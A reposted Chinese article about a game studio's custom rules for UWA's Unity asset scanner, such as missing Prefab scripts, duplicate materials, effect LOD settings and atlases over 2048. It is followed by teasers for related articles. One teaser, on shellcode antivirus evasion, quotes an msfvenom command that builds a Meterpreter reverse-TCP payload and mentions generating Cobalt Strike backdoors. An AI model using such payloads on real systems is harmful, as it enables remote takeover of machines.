如何DIY项目资源私有检测规则

news2024/11/24 19:38:05

本地资源检测是UWA推出的、面向于静态资源的全量分析。可以全面自动检测项目静态工程内各项资源、代码和设置,能够帮助项目组制定合理的资源与代码标准,及时发现潜在的性能问题和异常错误,建立有效的开发规范。

为了在游戏优化过程中持续与UWA行业参数进行比对,并保障项目上线前没有致命性的问题、免除项目组自行开发工具进行资源扫描(特别是针对代码的扫描),北京一家深耕SLG品类的出海大厂深度使用了UWA本地资源检测及自定义检测规则的功能,下面我们就详细介绍这个团队是如何结合自身项目的需求,实现本地资源检测的“量体裁衣、按需定制”。

一、为什么需要自定义本地资源检测规则?

本地资源检测自定义检测规则更聚焦于项目中某些特定类型资源、设置的检测,以及特殊的情况。例如希望找出一批被更新过的旧纹理方便后续替换;或者想要在指定场景下,检测多个设置复合作用时,哪些资源会出现不正常的丢失等。

该团队就通过本地资源检测的“自定义规则”功能,在符合一定框架的要求下,自行编写了相关的规则,为项目实现了更符合特定要求的规则检测。例如规则的命名、实现的逻辑、筛选出的结果等,都可以由项目团队按需编写实现。

二、详解自定义的本地资源检测规则

该团队非常乐意将自定义规则的设想与大家分享,UWA从中选取几条具有代表性的规则,希望能为大家在今后有类似需求时提供借鉴和参考:

  • Prefab属性丢失:检查项目中的Prefab,任何Component的属性丢失都会被检测出来,方便后续进行排查。由于项目开发过程中,会频繁对资源进行修改、删减,从而导致Prefab中引用的资源变成空,使得项目容易在运行过程中产生报错等情况。

  • 材质完全一样:两个不同的材质,但是属性、贴图、Shader等都完全一致的,就会检测出来。对于属性相同的材质球,我们完全可以进行合并。因为Built-in管线中合批的前提条件是材质球完全一致,且是同一个材质球实例,这样在Buit-in管线中就能尽可能地增大DrawCall合批的概率。

  • 特效LOD配置待完善:检查特效的LOD配置。画质分级是性能优化的重要一环,而在画质分级中,特效分级也是必要环节。在项目开发过程中,如果美术没有将特效的LOD配好,就会导致特效的LOD存在缺陷。比如特效节点很多,但不同的LOD层级的开启节点却设置成了一样的,没有进行分层。

    因此特效的LOD设置也要确保严格准确,否则在低端机上释放了过多或过于复杂的特效,就会导致业已明显的性能问题变得更加严重。

  • 路径错误的Spine资源:Spine资源有特定存放的目录, 当放错目录时就会检测出来。良好的资源存放目录规范是项目开发顺利的前提之一。为了更好地管理项目资源,Spine资源通常会放在预先定义好的目录中。

  • Prefab脚本丢失:检测Prefab下挂脚本的情况。脚本变成miss可能是由于工程迁移、Package没有正确导入等因素导致。尽早地提前排查,对有问题的Prefab进行修改,可以避免项目后续运行时出现不必要的报错或者闪退。

  • ScriptableObject引用丢失:检测ScriptableObject的引用情况。ScriptObject通常用于数据配置,如果引用丢失,那么项目运行时也可能会造成报错或者闪退。

  • 尺寸超过2048的图集:图集分辨率过大会导致加载耗时以及内存占用增大,不必要地使用大图集还容易出现大量空白的浪费现象,因此需要控制图集大小在合理范围内,对图集的分辨率要根据需求做出一定的限制。

除以上部分规则外,该团队结合自身关心的参数,实现了二十余条贴合项目各类特定检测需求的自定义规则,例如“疑似无用Prefab(资源全丢)”、“Unity类型使用 '.?' 语法”、“Prefab材质为空”、“特效-设置错误的自身特效资源”等。

这些定制化的规则,在本地资源检测已有规则的基础上,进一步完善了对项目的检测需求,在面对一些业内主流尚未关注到的问题,该团队作为先行者,在自己项目中已经提前补上了这些可能的漏洞。

三、更多的定制化

除此以外,我们也可以根据项目实际情况,在本地资源检测报告中设定符合当前需求的各项阈值。

也可以在本地资源检测中设置具体的检测范围和具有指定特征的一类资源,甚至为不同场景与用途的同类资源分别设置更符合实际需求的阈值。

更多关于“本地资源检测”功能的教程,请查看:
New | UWA本地资源检测正式上线
规则我说了算!| 自定义规则重磅上线
本地资源检测功能更新 — “自动修复”重磅上线
本地资源检测|单规则多阈值设置功能上线

请点击《免费试用 |UWA性能保障体系全体验》,15天免费试用就在眼前!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/596624.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

计网之HTTPS的安全机制

文章目录 一. 什么是HTTPS?二. HTTPS中的加密机制(SSL/TLS)1. HTTP的安全问题2. 对称加密3. 非对称加密4. 中间人问题5. 证书 一. 什么是HTTPS? 在网络传输过程中, 存在着运营商劫持和一些黑客入侵这样的危险, 在之前只有HTTP的明文传输数据环境下, 这样的问题是有些泛滥的,…

java 利用poi根据excel模板导出数据(二)

本文是 java 利用poi根据excel模板导出数据(一) 的续篇 经常有poi的开发一定会碰到三个名词: HSSFWorkbook 、 XSSFWorkbook、SXSSFWorkbook; 这三个都是导出excel的形式,具体区别: HSSFworkbook,XSSF…

bert中文文本摘要代码(1)

bert中文文本摘要代码 写在最前面关于BERT使用transformers库进行微调 load_data.py自定义参数collate_fn函数BertDataset类主函数 tokenizer.py创建词汇表encode函数decode函数 写在最前面 熟悉bert+文本摘要的下游任务微调的代码,方便后续增加组件实现…

Vue.js+nodejs高校水电费缴费设备维修管理系统

本大学城水电管理系统管理员功能有个人中心,用户管理,领用设备管理,消耗设备管理,设备申请管理,设备派发管理,状体汇报管理,领用报表管理,消耗报表管理,班组报表管理&…

面向对象编程 实验二 MouseHit--SDUWH

来源网络。仅供参考 面向对象编程技术 实验二实验报告 1.实验要求 熟悉Visual Studio的环境与使用,创建一个新的工程以EasyWin为示例程序完成第一个Windows程序的编写、调试、运行。练习命令行的方式进行程序创建。 在理解Windows按键与鼠标的基础上,开发一个小型的打字…

feat:使用企业微信JS-SDK的onMenuShareAppMessage()实现点击转发自定义分享内容(TypeScript)

背景:企业微信应用使用企业微信JS-SDK的分享接口实现分享样式自定义 原生: 需要实现成: 企业微信JS-SDK 是企业微信面向网页开发者提供的 基于企业微信内 的网页开发工具包。 通过使用企业微信JS-SDK,网页开发者 可借助企业微信…

Python-shellcode免杀分离

#Python-原生态-MSF&CS&生成&执行代码 MSF-payload:msfvenom -p windows/meterpreter/reverse_tcp lhostX.X.X.X lport6688 -f c CS-payload: 攻击--生成后门--payload生成器--选择监听器和输出格式为C语言 python 3.10-32位,注…

如何将完成的报告从 FastReport .NET 导出到 S3

FastReport .NET 报表生成器FastReport .NET是适用于.NET Core 3,ASP.NET,MVC和Windows窗体的全功能报告库。使用FastReport .NET,您可以创建独立于应用程序的.NET报告。 简单存储服务是一种用于存储大量数据的服务。该服务将存储的数据划分…

BERT在GLUE数据集构建任务(未完待续。。。)

0 Introduction 谷歌开源的BERT项目在Github上,视频讲解可以参考B站上的一个视频 1 GLUE部分基准数据集介绍 GLUE数据集官网GLUE数据集下载,建议下载运行这个.py脚本文件进行数据集的下载,如果连接无法打开,运行下面代码。运行…

想知道视频转音频怎么操作?快来看看这三种方法

在数字化时代,视频已成为人们生活、学习、工作中不可或缺的元素。不过,在某些情况下,仅通过视觉体验来获取信息可能并不方便或实用。比如,对于听障人士,他们无法通过视觉方式获取信息,但可以通过听觉方式接…

一文教你高速PCB信号完整性仿真怎么做

在高速PCB设计中,信号完整性是确保信号在电路板上传输过程中的稳定性和可靠性的重点,通过仿真工具进行信号完整性可帮助工程师在设计阶段解决信号完整性问题,从而优化电路板的性能和可靠性。那么如何做好PCB信号完整性仿真?下面来…

1.3 eBPF的工作原理初探

写在前面 上一节提到过,eBPF程序是面向BPF体系结构指令集编写的,它并不直接运行在Linux内核中,我们可以理解为它是运行在eBPF虚拟机,由eBPF虚拟机来执行eBPF字节码,就像java运行在jvm一样。 我们用一张原理图来看下eBPF程序的编译,加载,验证,钩子,映射等结点。 如上是…

Matlab查找整行为0的行号并记录

find函数 该函数可以查找非零元素的索引和值 例如: X 331 0 20 1 10 0 4 k find(X) %返回非零元素的索引号,即按列检索对应数值的序号 k_0 find(~X) %返回零元素的索引号 matlab检索索引号的方式如下:输出结…

CDN之域名管理操作流程简介

一、火伞云端配置 1、点击“域名管理”,找到需要配置的域名,点击“常规配置” 2、进入“域名配置”界面,点击“配置我的CNAME” 3、将要配置的CNAME配置到我的DNS,请复制此处的CNAME地址,同时打开您网站所属的DNS服务…

Linux 扩展磁盘空间

1. 为什么我的 Linux 磁盘空间不够用?/ 插入新的磁盘要怎么用? [注]:第一节基本是一些啰里啰唆的内容,想直接看如何操作,请直接跳转至第二小节🧐 很多人遇到这样的问题,当给一台新的主机安装上…

MySQL报错cannot add foreign key constraint解决方法

1 问题场景 利用Navicat对MySQL两张表想要进行外键关联时设置正确,但出现出现如下错误 2 原因分析 创建外键错误的原因大概有一下几个原因: 1、关联的两个字段的字段的类型不一致 2、设置外键删除时set null 3、两张表的引擎不一致 2.1 数据类型不一…

2023 下半年程序员生存指南!

见字如面,我是军哥! 最近看到 4 月份,我国青年失业率 20.4%,说实话这个数字相当的高呀! 另外,伴随最近若干大厂裁员,就这周就有两位读者跟我说被裁员了,我估计下半年的 IT 行业更是艰…

BR 5AP1130.156C-000

物料号: 5AP1130.156C-000 描述: 自动化装置面板 15.6" FullHD TFT - 1920 x 1080 像素 (16:9) - 多点触控(投射电容) - 开关柜安装 - 横向 - 用于 PPC900/PPC2100/PPC3100/ 联接模块 B&R ID 代码0xEC5D许可证 显示屏 类型TFT 彩色对角线…

ChatGPT 插件:深入探讨 OpenAI 的新功能及其如何改变我们使用 AI 的方式

OpenAI的API现在正在为成千上万的商业和开源项目和应用程序提供AI动力。而在推出六个月后,ChatGPT的插件终于加入了机智的聊天机器人,能够更好的应用在不同的场景中。 🔌 什么是ChatGPT插件? ChatGPT插件是专门的扩展&#xff0…

报错:dll不是有效的win32应用程序

学习如何创建并调用动态库时,新建了一个项目用于调用自己创建的动态库,如下: 其中Dll3是新创建的动态库,text3是新建的另一个项目用于调用Dll3动态库,运行时报错如下: 原因在于Dll3动态库是默认的启动项目…